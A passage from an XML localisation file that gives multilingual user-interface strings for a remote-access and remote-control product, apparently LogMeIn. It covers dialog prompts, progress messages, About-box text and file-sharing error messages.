<es>Si procede, este ordenador no será accesible desde una ubicación remota hasta que vuelva a habilitar %PRODUCTNAME.\r\n\r\n¿Está seguro de que desea deshabilitar %PRODUCTNAME?</es>
<fr>Si vous continuer, cet ordinateur ne sera plus accessible pour un contrôle à distance jusqu'à ce que vous réactiviez à nouveau à %PRODUCTNAME.\r\n\r\nEtes-vous sûr de vouloir désactiver %PRODUCTNAME ?</fr>
<de>Wenn Sie fortfahren, kann auf diesen Computer erst dann von einem Remotestandort aus zugegriffen werden, nachdem Sie %PRODUCTNAME erneut aktiviert haben.\r\nMöchten Sie %PRODUCTNAME wirklich deaktivieren?</de>
<it>Se si continua, questo computer non sarà accessibile da una postazione remota fino a quando non si attiva nuovamente %PRODUCTNAME.\r\n\r\nDisattivare %PRODUCTNAME?</it>
<ru>В случае продолжения данный компьютер будет недоступен из удаленного компьютера, пока снова не будет включено приложение %PRODUCTNAME.\r\n\r\nОтключить %PRODUCTNAME?</ru>
<ja>続行した場合、%PRODUCTNAME を再び有効にしない限り、このコンピュータはリモート ロケーションからアクセスできなくなります。%PRODUCTNAME を無効にしますか?</ja>
<zh>如果继续,则在您重新启用 %PRODUCTNAME 之前,将无法从远程位置访问此计算机。\r\n\r\n是否确定要禁用 %PRODUCTNAME?</zh>
<ko>계속할 경우 %PRODUCTNAME을(를) 다시 사용할 때까지 원격 위치에서 이 컴퓨터에 액세스할 수 없습니다.\r\n\r\n%PRODUCTNAME을(를) 사용하지 않도록 설정하겠습니까?</ko>
<en-gb>If you proceed, this computer will not be accessible from a remote location until you re-enable %PRODUCTNAME.\r\n\r\nAre you sure you want to disable %PRODUCTNAME?</en-gb>
<hu>Ha folytatja, ez a számítógép nem lesz elérhető távolról, amíg nem kapcsolja be ismét a %PRODUCTNAME programot. \r\n\r\nBiztos benne, hogy ki kívánja kapcsolni a %PRODUCTNAME programot?</hu>
<pt-br>Se você prosseguir, este computador não será acessível de um local remoto até que você reabilite o %PRODUCTNAME.\r\n\r\nTem certeza de que deseja desabilitar o %PRODUCTNAME?</pt-br>
<nl>Als u doorgaat, is geen toegang tot deze computer mogelijk vanaf een externe locatie tot u %PRODUCTNAME opnieuw inschakelt.\r\n\r\nWeet u zeker dat u %PRODUCTNAME wilt uitschakelen?</nl>
</msg>
<msg name="YES">
<en>Yes</en>
<de>Ja</de>
<es>Sí</es>
<fr>Oui</fr>
<it>Sì</it>
<ru>Да</ru>
<ja>はい</ja>
<zh>是</zh>
<ko>예</ko>
<en-gb>Yes</en-gb>
<hu>Igen</hu>
<pt-br>Sim</pt-br>
<nl>Ja</nl>
</msg>
<msg name="NO">
<en>No</en>
<de>Nein</de>
<es>No</es>
<fr>Non</fr>
<it>No</it>
<ru>Нет</ru>
<ja>いいえ</ja>
<zh>否</zh>
<ko>아니오</ko>
<en-gb>No</en-gb>
<hu>Nem</hu>
<pt-br>Não</pt-br>
<nl>Nee</nl>
</msg>
</cat>
<cat name="CNFRMEXIT">
<msg name="CONFIRM">
<en>If you proceed, this computer will not be accessible from a remote location until you restart %PRODUCTNAME, or reboot your computer.\r\n\r\nAre you sure you want to exit %PRODUCTNAME?</en>
<de>Wenn Sie fortfahren, können Sie auf diesen Computer nicht von einem entfernten Ort aus zugreifen, bis Sie %PRODUCTNAME oder Ihren Computer neu gestartet haben.\n\r\nSind Sie sicher, dass Sie %PRODUCTNAME beenden möchten?</de>
<es>Si continúa, no se podrá acceder a este ordenador desde una unidad remota hasta que reinicie %PRODUCTNAME o lo vuelva a arrancar el ordenador.\r\n\r\n¿Está seguro de que desea salir de %PRODUCTNAME?</es>
<fr>Si vous continuez, cet ordinateur ne sera accessible à partir d'un emplacement distant que lorsque vous relancerez %PRODUCTNAME ou que vous redémarrerez votre ordinateur.\r\n\r\nVoulez-vous vraiment quitter %PRODUCTNAME ?</fr>
<it>Se si procede, non sarà possibile accedere a questo computer da una posizione remota fino a quando non si riavvia %PRODUCTNAME o il computer.\r\n\r\nUscire da %PRODUCTNAME?</it>
<ru>В случае продолжения данный компьютер будет недоступен с удаленного компьютера, пока не будет перезапущено приложение %PRODUCTNAME или перезагружен компьютер.\r\n\r\nВы действительно хотите выйти из %PRODUCTNAME?</ru>
<ja>このコンピュータをリモートロケーションからアクセスするためには%PRODUCTNAMEを再起動するか、コンピュータを再起動する必要があります。\r\n\r\n%PRODUCTNAMEを終了してもよろしいですか?</ja>
<ko>계속할 경우 %PRODUCTNAME을(를) 다시 시작하거나 컴퓨터를 다시 부팅할 때까지 원격으로 현재 컴퓨터에 액세스할 수 없습니다.\n\r\n%PRODUCTNAME을(를) 종료하시겠습니까?</ko>
<zh>如果继续,那么在重启 %PRODUCTNAME 或重新引导计算机之前,此计算机将无法通过远程位置来访问。\r\n\r\nAre you sure you want to exit %PRODUCTNAME?</zh>
<hu>Ha folytatja, ez a számítógép nem lesz elérhető távolról, amíg nem indítja újra a %PRODUCTNAME programot, vagy a számítógépét. \r\n\r\nBiztos benne, hogy ki kíván lépni a %PRODUCTNAME programból?</hu>
<pt-br>Se você prosseguir, este computador não será acessível de um local remoto até que você reinicie o %PRODUCTNAME ou reinicialize o computador.\r\n\r\nTem certeza de que deseja sair do %PRODUCTNAME?</pt-br>
<nl>Als u doorgaat, is geen toegang tot deze computer mogelijk vanaf een externe locatie tot u %PRODUCTNAME opnieuw start of uw computer opnieuw opstart.\r\n\r\nWeet u zeker dat u %PRODUCTNAME wilt afsluiten?</nl>
<en-gb>If you proceed, this computer will not be accessible from a remote location until you restart %PRODUCTNAME, or reboot your computer.\r\n\r\nAre you sure you want to exit %PRODUCTNAME?</en-gb>
</msg>
</cat>
<cat name="PROGRESSDLG">
<msg name="TITLE">
<en>%PRODUCTNAME</en>
<es>%PRODUCTNAME</es>
<fr>%PRODUCTNAME</fr>
<it>%PRODUCTNAME</it>
<ru>%PRODUCTNAME</ru>
<ja>%PRODUCTNAME</ja>
<zh>%PRODUCTNAME</zh>
<ko>%PRODUCTNAME</ko>
<en-gb>%PRODUCTNAME</en-gb>
<hu>%PRODUCTNAME</hu>
<pt-br>%PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME</nl>
</msg>
<msg name="ENABLING">
<en>Enabling %PRODUCTNAME...</en>
<es>Habilitando %PRODUCTNAME...</es>
<fr>Activer %PRODUCTNAME...</fr>
<de>%PRODUCTNAME wird aktiviert...</de>
<it>Attivazione di %PRODUCTNAME...</it>
<ru>Включение %PRODUCTNAME...</ru>
<ja>%PRODUCTNAME を有効にしています...</ja>
<zh>正在启用 %PRODUCTNAME...</zh>
<ko>%PRODUCTNAME을(를) 사용하도록 설정 중...</ko>
<en-gb>Enabling %PRODUCTNAME...</en-gb>
<hu>%PRODUCTNAME bekapcsolása...</hu>
<pt-br>Habilitando o %PRODUCTNAME...</pt-br>
<nl>Bezig met inschakelen van %PRODUCTNAME...</nl>
</msg>
<msg name="DISABLING">
<en>Disabling %PRODUCTNAME...</en>
<es>Deshabilitando %PRODUCTNAME...</es>
<fr>Désactiver %PRODUCTNAME...</fr>
<de>%PRODUCTNAME wird deaktiviert...</de>
<it>Disattivazione di %PRODUCTNAME...</it>
<ru>Отключение %PRODUCTNAME...</ru>
<ja>%PRODUCTNAME を無効にしています...</ja>
<zh>正在禁用 %PRODUCTNAME...</zh>
<ko>%PRODUCTNAME을(를) 사용하지 않도록 설정 중...</ko>
<en-gb>Disabling %PRODUCTNAME...</en-gb>
<hu>%PRODUCTNAME kikapcsolása...</hu>
<pt-br>Desabilitando o %PRODUCTNAME...</pt-br>
<nl>Bezig met uitschakelen van %PRODUCTNAME...</nl>
</msg>
<msg name="STOPPING">
<en>Stopping %PRODUCTNAME...</en>
<de>%PRODUCTNAME wird beendet...</de>
<es>Parando %PRODUCTNAME...</es>
<fr>Arrêt de %PRODUCTNAME en cours...</fr>
<it>Interruzione di %PRODUCTNAME...</it>
<ru>Завершение работы %PRODUCTNAME...</ru>
<ja>終了中 %PRODUCTNAME...</ja>
<ko>%PRODUCTNAME 중지 중...</ko>
<zh>正在停止 %PRODUCTNAME...</zh>
<hu>%PRODUCTNAME leállítása...</hu>
<pt-br>Parando o %PRODUCTNAME...</pt-br>
<nl>Bezig met sluiten van %PRODUCTNAME...</nl>
</msg>
<msg name="RESTARTING">
<en>Restarting %PRODUCTNAME...</en>
<es>Reiniciando %PRODUCTNAME...</es>
<de>%PRODUCTNAME wird neu gestartet...</de>
<fr>Redémarrage de %PRODUCTNAME...</fr>
<it>Riavvio di %PRODUCTNAME...</it>
<ru>Перезапуск %PRODUCTNAME...</ru>
<ja>%PRODUCTNAME を再起動しています...</ja>
<zh>正在重新启动 %PRODUCTNAME...</zh>
<ko>%PRODUCTNAME 다시 시작 중...</ko>
<en-gb>Restarting %PRODUCTNAME...</en-gb>
<hu>%PRODUCTNAME újraindítása...</hu>
<pt-br>Reiniciando o %PRODUCTNAME...</pt-br>
<nl>%PRODUCTNAME opnieuw starten...</nl>
</msg>
</cat>
<!-- about dialog -->
<cat name="ABOUT">
<msg name="VERSION">
<en>Version</en>
<de>Version</de>
<es>Versión</es>
<fr>Version</fr>
<it>Versione</it>
<ru>Версия</ru>
<ja>バージョン</ja>
<zh>版本</zh>
<ko>버전</ko>
<en-gb>Version</en-gb>
<hu>Verzió</hu>
<pt-br>Versão</pt-br>
<nl>Versie</nl>
</msg>
<msg name="BUILD">
<en>Build:</en>
<de>Build:</de>
<es>Arquitectura:</es>
<fr>Construction :</fr>
<it>Build:</it>
<ru>Сборка:</ru>
<ja>ビルド :</ja>
<zh>内部版本号:</zh>
<ko>빌드:</ko>
<en-gb>Build:</en-gb>
<hu>Build:</hu>
<pt-br>Build:</pt-br>
<nl>Build:</nl>
</msg>
<msg name="LICENSETYPE">
<en>License type:</en>
<de>Lizenztyp:</de>
<es>Tipo de licencia:</es>
<fr>Type de license:</fr>
<it>Tipo di licenza:</it>
<ru>Тип лицензии:</ru>
<ja>ライセンスの種類 :</ja>
<zh>许可证类型:</zh>
<ko>라이센스 유형:</ko>
<en-gb>Licence type:</en-gb>
<hu>Licensz típusa:</hu>
<pt-br>Tipo de licença:</pt-br>
<nl>Licentietype:</nl>
</msg>
<msg name="LINE1">
<en>%PRODUCTNAME is the most flexible remote administration and remote control solution for Windows.</en>
<de>%PRODUCTNAME ist die flexibelste Lösung zur Fernadministration und zur Fernsteuerung für Windows.</de>
<es>%PRODUCTNAME es el administrador remoto más flexible y la solución de control remoto para Windows.</es>
<fr>%PRODUCTNAME est la solution d'administration et de contrôle d'accès à distance la plus flexible pour Windows.</fr>
<it>%PRODUCTNAME è la soluzione di amministrazione e controllo in remoto per Windows più flessibile.</it>
<ru>%PRODUCTNAME - наиболее гибкое решение для Windows по удаленному администрированию и управлению.</ru>
<ja>%PRODUCTNAME は、Windows 対応の非常に柔軟なリモート管理およびリモート制御ソリューションです。</ja>
<zh>%PRODUCTNAME 是最灵活的 Windows 远程管理和远程控制解决方案。</zh>
<ko>%PRODUCTNAME은(는) 가장 유연한 Windows용 원격 관리 및 원격 제어 솔루션입니다.</ko>
<en-gb>%PRODUCTNAME is the most flexible remote administration and remote control solution for Windows.</en-gb>
<hu>A %PRODUCTNAME a legrugalmasabb távfelügyeleti és távvezérlési megoldás a Windowshoz.</hu>
<pt-br>O %PRODUCTNAME é a solução de controle remoto e de administração remota mais flexível para Windows.</pt-br>
<nl>%PRODUCTNAME is de meest flexibele oplossing voor extern beheer en besturing op afstand voor Windows.</nl>
</msg>
<msg os="macosx" name="LINE1">
<en>%PRODUCTNAME is the most flexible remote administration and remote control solution for the Mac.</en>
<de>%PRODUCTNAME ist die flexibelste Lösung zur Fernadministration und zur Fernsteuerung für Mac.</de>
<es>%PRODUCTNAME es el administrador remoto más flexible y la solución de control remoto para Mac.</es>
<fr>%PRODUCTNAME est la solution d'administration et de contrôle d'accès à distance la plus flexible pour Mac.</fr>
<it>%PRODUCTNAME è la soluzione di amministrazione e controllo in remoto per Mac più flessibile.</it>
<ru>%PRODUCTNAME - наиболее гибкое решение для Mac по удаленному администрированию и управлению.</ru>
<ja>%PRODUCTNAME は、Windows 対応の非常に柔軟なリモート管理およびリモート制御ソリューションです。</ja>
<zh>%PRODUCTNAME 是最灵活的 Mac 远程管理和远程控制解决方案。</zh>
<ko>%PRODUCTNAME은(는) 가장 유연한 Windows용 원격 관리 및 원격 제어 솔루션입니다.</ko>
<en-gb>%PRODUCTNAME is the most flexible remote administration and remote control solution for Mac.</en-gb>
<hu>A %PRODUCTNAME a legrugalmasabb távfelügyeleti és távvezérlési megoldás a Windowshoz.</hu>
<pt-br>O %PRODUCTNAME é a solução de controle remoto e de administração remota mais flexível para Mac.</pt-br>
<nl>%PRODUCTNAME is de meest flexibele oplossing voor extern beheer en besturing op afstand voor Mac.</nl>
</msg>
<msg brand="LMI" name="LINE1">
<en>%PRODUCTNAME lets you connect to and control your Windows PC anytime, anywhere using any computer connected to the Internet.</en>
<de>%PRODUCTNAME ist die flexibelste Lösung zur Fernadministration und zur Fernsteuerung für Windows.</de>
<es>%PRODUCTNAME es el administrador remoto más flexible y la solución de control remoto para Windows.</es>
<fr>%PRODUCTNAME est la solution d'administration et de contrôle d'accès à distance la plus flexible pour Windows.</fr>
<it>%PRODUCTNAME è la soluzione di amministrazione e controllo in remoto per Windows più flessibile.</it>
<ru>%PRODUCTNAME - наиболее гибкое решение для Windows по удаленному администрированию и управлению.</ru>
<ja>%PRODUCTNAME は、Windows 対応の非常に柔軟なリモート管理およびリモート制御ソリューションです。</ja>
<zh>%PRODUCTNAME 是最灵活的 Windows 远程管理和远程控制解决方案。</zh>
<ko>%PRODUCTNAME은(는) 가장 유연한 Windows용 원격 관리 및 원격 제어 솔루션입니다.</ko>
<en-gb>%PRODUCTNAME lets you connect to and control your Windows PC anytime, anywhere using any computer connected to the Internet.</en-gb>
<hu>A %PRODUCTNAME a legrugalmasabb távfelügyeleti és távvezérlési megoldás a Windowshoz.</hu>
<pt-br>O %PRODUCTNAME é a solução de controle remoto e de administração remota mais flexível para Windows.</pt-br>
<nl>%PRODUCTNAME is de meest flexibele oplossing voor extern beheer en besturing op afstand voor Windows.</nl>
</msg>
<msg brand="LMI" os="macosx" name="LINE1">
<en>%PRODUCTNAME lets you connect to and control your Mac anytime, anywhere using any computer connected to the Internet.</en>
<de>%PRODUCTNAME ist die flexibelste Lösung zur Fernadministration und zur Fernsteuerung für Mac.</de>
<es>%PRODUCTNAME es el administrador remoto más flexible y la solución de control remoto para Mac.</es>
<fr>%PRODUCTNAME est la solution d'administration et de contrôle d'accès à distance la plus flexible pour Mac.</fr>
<it>%PRODUCTNAME è la soluzione di amministrazione e controllo in remoto per Mac più flessibile.</it>
<ru>%PRODUCTNAME - наиболее гибкое решение для Mac по удаленному администрированию и управлению.</ru>
<ja>%PRODUCTNAME は、Windows 対応の非常に柔軟なリモート管理およびリモート制御ソリューションです。</ja>
<zh>%PRODUCTNAME 是最灵活的 Mac 远程管理和远程控制解决方案。</zh>
<ko>%PRODUCTNAME은(는) 가장 유연한 Windows용 원격 관리 및 원격 제어 솔루션입니다.</ko>
<en-gb>%PRODUCTNAME lets you connect to and control your Mac anytime, anywhere using any computer connected to the Internet.</en-gb>
<hu>A %PRODUCTNAME a legrugalmasabb távfelügyeleti és távvezérlési megoldás a Windowshoz.</hu>
<pt-br>O %PRODUCTNAME é a solução de controle remoto e de administração remota mais flexível para Mac.</pt-br>
<nl>%PRODUCTNAME is de meest flexibele oplossing voor extern beheer en besturing op afstand voor Mac.</nl>
</msg>
<msg name="LINE2">
<en>It allows access to the host computer via the network (the LAN, an intranet or the Internet) - and on the client side all you need is a web browser, a terminal emulator or a WAP-enabled phone.</en>
<de>Es ermöglicht den Zugriff auf den Computer über das Netwerk (LAN, Intra- oder Internet). Alles was Sie dazu brauchen ist ein Webbrowser, eine Terminalemulation oder ein WAP-Handy.</de>
<es>Permite acceder al ordenador host a través de red (LAN, intranet o Internet) - y, como cliente, todo lo que necesita es un navegador web, un terminal emulador o un teléfono con WAP.</es>
<fr>Il permet l'accès à l'ordinateur principal par l'intermédiaire du réseau (LAN, Intranet ou Internet) - et du côté client, vous n'avez besoin que d'un navigateur Internet, d'un émulateur de terminal ou d'un téléphone compatible WAP.</fr>
<it>Consente di accedere al computer host tramite la rete (la LAN, una Intranet o Internet); sul lato client tutto quello di cui si necessita è un browser Web, un emulatore di terminale o un telefono abilitato al WAP.</it>
<ru>Оно позволяет получить доступ к хост-компьютеру по сети (LAN, интранет или Интернет). На стороне клиента необходимо иметь только веб-обозреватель, эмулятор терминала или телефон с поддержкой WAP.</ru>
<ja>ネットワーク (LAN、イントラネット、またはインターネット) 経由でのホスト コンピュータへのアクセスを実現します。クライアント側で必要なのは、ブラウザ、ターミナル エミュレータ、または WAP 対応電話のみです。</ja>
<zh>您可以通过网络(LAN、Intranet 或 Internet)访问主机,并且在客户端,您仅需一个 Web 浏览器、一个终端仿真器或一个启用 WAP 的电话。</zh>
<ko>이 프로그램을 사용하면 네트워크(LAN, 인트라넷 또는 인터넷)를 통해 호스트 컴퓨터에 액세스할 수 있으며 클라이언트에는 웹 브라우저, 터미널 에뮬레이터 또는 WAP 지원 전화기만 있으면 됩니다.</ko>
<en-gb>It allows access to the host computer via the network (the LAN, an intranet or the Internet) - and on the client side all you need is a web browser, a terminal emulator or a WAP-enabled phone.</en-gb>
<hu>Lehetővé teszi, hogy a hálózaton keresztül (LAN, intranet, vagy Internet) elérje a gazdagépet - és a kliensoldalon csak egy webes böngészőre, egy terminál-emulátorra, vagy egy WAPot támogató telefonra van szüksége.</hu>
<pt-br>Ele permite acesso ao computador host via rede (LAN, intranet ou Internet) - e, no lado cliente, tudo o que você precisa é de um navegador da web, um emulador de terminal ou um telefone habilitado para WAP.</pt-br>
<nl>Hiermee krijgt u toegang tot de hostcomputer via het netwerk (via een LAN, intranet of internet) en op de client hebt u niet meer nodig dan een webbrowser, een terminalemulatietoepassing of een WAP-compatibele telefoon.</nl>
</msg>
<msg brand="LMI" name="LINE2">
<en>Install LogMeIn on your Windows PC to access and control everything on it: applications, network files, email, printing - all remotely, all in a secure environment.</en>
<fr>Installez LogMeIn sur votre PC sous Windows pour un accès et un contrôle complet à son contenu : applications, fichiers réseau, email, impression, le tout à distance et en mode sécurisé.</fr>
<es>Instale LogMeIn en su ordenador Windows para acceder a él y controlarlo por completo de forma remota y completamente segura, incluidas aplicaciones, archivos de red, correo electrónico, impresión, etc.</es>
<de>Installieren Sie LogMeIn auf Ihrem Windows-PC, um vollen Zugriff und vollständige Kontrolle über Anwendungen, Netzwerkdateien, E-Mails, auszudruckende Dokumente usw. zu erhalten – alles per Fernzugriff und in einer sicheren Umgebung.</de>
<it>Installare LogMeIn sul proprio PC Windows per avere accesso e controllo a tutti gli elementi: applicazioni, file di rete, posta elettronica, stampa. Tutto in remoto, tutto in un ambiente protetto..</it>
<nl>Installeer LogMeIn op uw Windows-pc om toegang te krijgen en alles op de computer te besturen: programma´s, netwerkbestanden, e-mailberichten en printopdrachten - allemaal op afstand, en in een veilige omgeving.</nl>
<pt-br>Instale o LogMeIn no seu PC Windows para acessar e controlar tudo nele: aplicativos, arquivos de rede, email, impressão - tudo remotamente, tudo em um ambiente seguro.</pt-br>
<zh>在您的 Windows PC 上安装 LogMeIn 以访问并控制它上面的所有项目:应用程序、网络文件、电子邮件、打印 - 所有操作均在安全的环境中远程进行。</zh>
<ru>Установите LogMeIn на компьютер с Windows для доступа к нему и управления всеми его функциями: приложениями, сетевыми файлами, электронной почтой, печатью – все эти операции выполняются удаленно и в безопасной среде.</ru>
<ja>お使いの Windows PC に LogMeIn をインストールすると、あらゆる要素へのアクセスと制御を実現できます。アプリケーション、ネットワーク ファイル、電子メール、印刷などに対し、セキュリティを確保した環境下でリモートからアクセスできます。</ja>
<ko>Windows 컴퓨터에 LogMeIn을 설치하여 컴퓨터의 모든 응용 프로그램, 네트워크 파일, 이메일, 인쇄 등의 모든 작업을 보안 환경에서 원격으로 조정할 수 있습니다.</ko>
<hu>A LogMeIn program Windows rendszerű számítógépre történő telepítésével távolról, egyetlen biztonságos környezetben érhető el a gépen lévő minden lehetőség, így az alkalmazások, hálózati fájlok, e-mail és nyomtatás funkció.</hu>
</msg>
<msg brand="LMI" os="macosx" name="LINE2">
<en>Install LogMeIn on your Mac to access and control everything on it: applications, network files, email, printing - all remotely, all in a secure environment.</en>
<es>Instale LogMeIn en su ordenador Mac para acceder y controlar todo su contenido: aplicaciones, archivos de red, correo electrónico, impresiones, de forma remota y en un entorno seguro.</es>
<de>Installieren Sie LogMeIn auf Ihrem Mac, um vollen Zugriff und die vollständige Kontrolle über Anwendungen, Netzwerkdateien, E-Mails, auszudruckende Dokumente usw. zu erhalten – alles per Fernzugriff und in einer sicheren Umgebung.</de>
<fr>Installez LogMeIn sur votre Mac pour un accès et un contrôle complet à son contenu : applications, fichiers réseau, email, impression, le tout à distance et en mode sécurisé.</fr>
<it>Installare LogMeIn sul proprio Mac per avere accesso e controllo a tutti gli elementi: applicazioni, file di rete, posta elettronica, stampa. Tutto in remoto, tutto in un ambiente protetto.</it>
<ru>Установите LogMeIn на компьютер Mac для доступа к нему и управления всеми его функциями: приложениями, сетевыми файлами, электронной почтой, печатью – все эти операции выполняются удаленно и в безопасной среде.</ru>
<ja>お使いの Mac に LogMeIn をインストールすると、あらゆる要素へのアクセスと制御を実現できます。アプリケーション、ネットワーク ファイル、電子メール、印刷などに対し、セキュリティを確保した環境下でリモートからアクセスできます。</ja>
<zh>在您的 Mac 上安装 LogMeIn 以访问并控制它上面的所有项目:应用程序、网络文件、电子邮件、打印 - 所有操作均在安全的环境中远程进行。</zh>
<ko>Mac에 LogMeIn을 설치하여 PC의 모든 응용 프로그램, 네트워크 파일, 전자 메일, 인쇄를 보안 환경에서 원격으로 액세스하고 제어하십시오.</ko>
<hu>A LogMeIn rendszer Mac számítógépre történő telepítésével távolról, biztonságos környezetben érhető el a gépen lévő összes lehetőség – alkalmazások, hálózati fájlok, e-mail, nyomtatás.</hu>
<pt-br>Instale o LogMeIn no seu Mac para acessar e controlar tudo nele: aplicativos, arquivos de rede, email, impressão - tudo remotamente, tudo em um ambiente seguro.</pt-br>
<nl>Installeer LogMeIn op uw Mac om toegang te krijgen en alles op de computer te besturen: programma´s, netwerkbestanden, e-mailberichten en printopdrachten - allemaal op afstand, en in een veilige omgeving.</nl>
<en-gb>Install LogMeIn on your Mac to access and control everything on it: applications, network files, email, printing - all remotely, all in a secure environment.</en-gb>
</msg>
<msg name="LINE3">
<en>For more information, please visit %LINK.</en>
<de>Für weitere Informationen besuchen Sie %LINK.</de>
<es>Para obtener más información, visite %LINK.</es>
<fr>Pour plus d'information, veuillez visiter %LINK.</fr>
<it>Per ulteriori informazioni, visitare il sito %LINK.</it>
<ru>Чтобы получить дополнительную информацию, посетите веб-сайт %LINK.</ru>
<ja>詳細情報は、%LINK をご覧ください。</ja>
<zh>有关详情,请访问 %LINK。</zh>
<ko>자세한 내용을 보려면 %LINK을(를) 방문하십시오.</ko>
<en-gb>For more information, please visit %LINK.</en-gb>
<hu>További információért látogassa meg a következő címet: %LINK.</hu>
<pt-br>Para obter mais informações, visite %LINK.</pt-br>
<nl>Voor meer informatie gaat u naar %LINK.</nl>
</msg>
<msg brand="LMI" name="LINE3">
<en>To learn more, visit %LMIHOME.</en>
<de>Für weitere Informationen besuchen Sie %LINK.</de>
<es>Para obtener más información, visite %LINK.</es>
<fr>Pour plus d'information, veuillez visiter %LINK.</fr>
<it>Per ulteriori informazioni, visitare il sito %LINK.</it>
<ru>Чтобы получить дополнительную информацию, посетите веб-сайт %LINK.</ru>
<ja>詳細情報は、%LINK をご覧ください。</ja>
<zh>有关详情,请访问 %LINK。</zh>
<ko>자세한 내용을 보려면 %LINK을(를) 방문하십시오.</ko>
<en-gb>For more information, please visit %LINK.</en-gb>
<hu>További információért látogassa meg a következő címet: %LINK.</hu>
<pt-br>Para obter mais informações, visite %LINK.</pt-br>
<nl>Voor meer informatie gaat u naar %LINK.</nl>
</msg>
</cat>
<cat name="FSSEND2">
<msg name="TITLE">
<en>%PRODUCTNAME - File Sharing</en>
<es>%PRODUCTNAME - Transferencia de archivos</es>
<de>%PRODUCTNAME - Dateifreigabe</de>
<fr>%PRODUCTNAME - Partage de fichiers</fr>
<it>%PRODUCTNAME - Condivisione dei file</it>
<ru>%PRODUCTNAME - Общий доступ к файлам</ru>
<ja>%PRODUCTNAME - ファイル共有</ja>
<zh>%PRODUCTNAME - 文件共享</zh>
<ko>%PRODUCTNAME - 파일 공유</ko>
<en-gb>%PRODUCTNAME - File Sharing</en-gb>
<hu>%PRODUCTNAME - Fájlmegosztás</hu>
<pt-br>%PRODUCTNAME - Compartilhamento de arquivos</pt-br>
<nl>%PRODUCTNAME - Bestanden delen</nl>
</msg>
<msg name="LINKNAME">
<en>%PRODUCTNAME File Sharing</en>
<es>%PRODUCTNAME Transferencia de archivos</es>
<de>%PRODUCTNAME Dateifreigabe</de>
<fr>%PRODUCTNAME Partage de fichiers</fr>
<it>%PRODUCTNAME Condivisione dei file</it>
<ru>%PRODUCTNAME Общий доступ к файлам</ru>
<ja>%PRODUCTNAME ファイル共有</ja>
<zh>%PRODUCTNAME 文件共享</zh>
<ko>%PRODUCTNAME 파일 공유</ko>
<en-gb>%PRODUCTNAME File Sharing</en-gb>
<hu>%PRODUCTNAME Fájlmegosztás</hu>
<pt-br>%PRODUCTNAME Compartilhamento de arquivos</pt-br>
<nl>%PRODUCTNAME Bestanden delen</nl>
</msg>
<msg name="ONEFILEONLY">
<en>You can only send one file at a time.</en>
<es>Sólo pueden enviar archivos de uno en uno.</es>
<de>Sie können jeweils nur eine Datei senden.</de>
<fr>Vous ne pouvez envoyer qu'un seul fichier à la fois.</fr>
<it>È possibile inviare soltanto un file alla volta.</it>
<ru>За один раз можно отправить только один файл.</ru>
<ja>同時に 1 ファイルのみ送信できます。</ja>
<zh>您一次只能发送一个文件。</zh>
<ko>한 번에 파일을 하나만 보낼 수 있습니다.</ko>
<en-gb>You can only send one file at a time.</en-gb>
<hu>Egyszerre csak egy fájlt küldhet.</hu>
<pt-br>Você só pode enviar um arquivo de cada vez.</pt-br>
<nl>U kunt slechts één bestand tegelijk verzenden.</nl>
</msg>
<msg name="FILENOTFOUND">
<en>The file could not be found.</en>
<de>Die datei konnte nicht gefunden werden.</de>
<es>No se ha podido encontrar el archivo.</es>
<fr>Le dossier n'a pas pu être trouvé.</fr>
<it>Impossibile trovare il file.</it>
<ru>Не удалось найти файл.</ru>
<ja>ファイルが見つかりませんでした。</ja>
<zh>无法找到该文件。</zh>
<ko>파일을 찾을 수 없습니다.</ko>
<en-gb>The file could not be found.</en-gb>
<hu>A fájl nem található.</hu>
<pt-br>O arquivo não pôde ser encontrado.</pt-br>
<nl>Het bestand kon niet worden gevonden.</nl>
</msg>
<msg name="FILEDIRECTORY">
<en>%PRODUCTNAME File Sharing cannot operate on folders. Please select a single file and try again.</en>
<es>Transferencia de archivos de %PRODUCTNAME no puede operar en carpetas. Seleccione un único archivo y vuelva a intentarlo.</es>
<de>%PRODUCTNAME Die Dateifreigabe funktioniert nicht mit Ordnern. Bitte wählen Sie eine einzelne Datei und versuchen Sie es erneut.</de>
<fr>Le partage de fichiers %PRODUCTNAME ne fonctionne pas avec les dossiers. Sélectionnez un seul fichier et réessayez.</fr>
<it>%PRODUCTNAME La Condivisione dei file non può eseguire operazioni sulle cartelle. Selezionare un singolo file e riprovare.</it>
<ru>Общий доступ к файлам %PRODUCTNAME не поддерживается для папок. Выберите отдельный файл и повторите попытку.</ru>
<ja>%PRODUCTNAME ファイル共有の操作をフォルダに対して行うことはできません。 ファイルを 1 つ選択して再試行してください。</ja>
<zh>%PRODUCTNAME 文件共享无法用于文件夹。 请选择单个文件并重试。</zh>
<ko>%PRODUCTNAME 파일 공유는 폴더에서 작동할 수 없습니다. 파일을 하나 선택하고 다시 시도하십시오.</ko>
<en-gb>%PRODUCTNAME File Sharing cannot operate on folders. Please select a single file and try again.</en-gb>
<hu>A %PRODUCTNAME fájlmegosztás mappákon nem működik. Válasszon egyetlen fájlt, és próbálja újra.</hu>
<pt-br>O Compartilhamento de arquivos do %PRODUCTNAME não pode operar em pastas. Selecione um único arquivo e tente novamente.</pt-br>
<nl>%PRODUCTNAME Bestanden delen kan geen mappen gebruiken. Selecteer één bestand en probeer het opnieuw.</nl>
</msg>
<msg name="NOCOMOBJECT">
<en>Could not connect to %PRODUCTNAME. Please make sure %PRODUCTNAME is enabled on this computer and try again.</en>
<es>No se pudo conectar con %PRODUCTNAME. Asegúrese de que %PRODUCTNAME está habilitado en este ordenador e inténtelo de nuevo.</es>
<de>Herstellen einer Verbindung zu %PRODUCTNAME nicht möglich. Vergewissern Sie sich, dass %PRODUCTNAME auf diesem Computer aktiviert ist, und führen Sie den Vorgang erneut aus.</de>
<fr>Connexion impossible à %PRODUCTNAME. Vérifiez que %PRODUCTNAME est activé sur cet ordinateur et réessayez.</fr>
<it>Impossibile eseguire la connessione a %PRODUCTNAME. Verificare che %PRODUCTNAME sia attivato su questo computer e riprovare.</it>
<ru>Не удалось подключиться к %PRODUCTNAME. Убедитесь, что приложение %PRODUCTNAME включено на данном компьютере, и повторите попытку.</ru>
<ja>%PRODUCTNAME に接続できませんでした。%PRODUCTNAME がこのコンピュータで有効になっているかどうかを確認し、再試行してください。</ja>
<zh>无法连接至 %PRODUCTNAME。请确保在此计算机上启用 %PRODUCTNAME 并再试一次。</zh>
<ko>%PRODUCTNAME에 연결할 수 없습니다. %PRODUCTNAME을(를) 이 컴퓨터에서 사용할 수 있는지 확인하고 다시 시도하십시오.</ko>
